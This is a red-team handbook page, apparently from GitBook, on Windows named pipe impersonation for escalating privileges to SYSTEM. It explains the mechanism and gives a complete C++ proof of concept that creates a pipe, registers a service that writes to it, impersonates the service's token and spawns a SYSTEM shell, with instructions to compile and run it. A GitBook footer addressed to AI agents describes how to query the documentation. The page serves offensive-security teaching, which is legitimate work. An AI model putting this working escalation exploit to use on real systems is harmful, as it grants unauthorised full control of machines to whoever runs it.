> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md).

# Named Pipe Impersonation

Named pipes are a form of IPC technology which allow sharing and communication of data between two processes. The term pipe simply describes the section of shared memory used by these two processes.

Named Pipes are a FILE\_OBJECT which is handled by a file system named the Named Pipe File System(NPFS). Because a Named Pipe is a FILE\_OBJECT, interacting and accessing the named pipe is essentially the same as accessing a regular file.

Named pipes allow for "Impersonation", which allows a thread to execute in another security context from it's own security context. This usually applies to a Client-Server architecture where a client connects to a server and for some reason, the server needs to impersonate the client to do some other action.

For a server to impersonate a client, the client must send some sort of data to named pipe before the server can impersonate the client. The server must also need the SeImpersonatePrivilege or be running as high integrity.

For this lab(ish), we are a high level overview of the steps needed to perform this:

1. Create a named pipe via CreateNamedPipe()
2. Create a service
3. Use that service to write data to the named pipe we created
4. Call ImpersonateNamedPipeClient which allows the server to impersonate any client that connects to its pipe
5. Create new process with that SYSTEM token
6. Profit

## POC

This is a POC that I have stolen from:&#x20;

{% embed url="<https://github.com/zerosum0x0>" %}

```cpp
#include <Windows.h>
#include <stdio.h>

static const char* g_szNamedPipe = "\\\\.\\pipe\\getsystemyall";

static const char* g_szServiceCreate = "sc create getsystemyall binPath= \"cmd.exe /c echo WUT > \\\\.\\pipe\\getsystemyall";
static const char* g_szServiceStart = "sc start getsystemyall";
static const char* g_szServiceDelete = "sc delete getsystemyall";

DWORD WINAPI getsystem_thread(PVOID lpUnused)
{
	PROCESS_INFORMATION pi;
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	char szRead[128] = { 0 };
	DWORD dwBytes = 0;
	HANDLE hToken;
	HANDLE hPipe;
	WCHAR cmd[MAX_PATH] = L"cmd.exe";

	do
	{
		// create the named pipe
		hPipe = CreateNamedPipeA(g_szNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);

		if (!hPipe)
			break;

		// wait for SC to make connection to the pipe
		while (!ConnectNamedPipe(hPipe, NULL))
		{
			if (GetLastError() == ERROR_PIPE_CONNECTED)
				break;
		}

		// must read at least 1 byte from the pipe
		if (!ReadFile(hPipe, szRead, 1, &dwBytes, NULL))
			break;

		// impersonate the client
		if (!ImpersonateNamedPipeClient(hPipe))
			break;

		// get a handle to the SYSTEM token
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
			break;

		// pop a shell with the system token
		CreateProcessWithTokenW(hToken, 0, NULL, cmd, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, (LPSTARTUPINFOW)&si,&pi);
	} while (0);

	// cleanup
	if (hPipe)
	{
		DisconnectNamedPipe(hPipe);
		CloseHandle(hPipe);
	}

	return 0;
}

int main()
{
	DWORD dwThreadId;
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)getsystem_thread, NULL, 0, &dwThreadId);
	getchar();
	system(g_szServiceCreate);
	system(g_szServiceStart);
	system(g_szServiceDelete);


	return 0;
}
```

You can read the comments to get a brief overview on what it does, but for a more technical view, I recommend you go over to Microsoft and see some documentation:

Compile this and run it.

Before we press enter(i put a getchar), lets check for our named pipe with this powershell command

```cpp
((Get-ChildItem \\.\pipe\).name)[-1..-5]
```

![](/files/-MhHHeznOcA0cqMnxm4e)

As we can see, we can find our named pipe.

Now let's continue execution.

We should now see a quick text message alerting us that our service creation was successful, and a new cmd popup.

Lets check its privs!

![](/files/-MhHI-1Yu8iqhADHluTK)

As we can see, we are now system.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
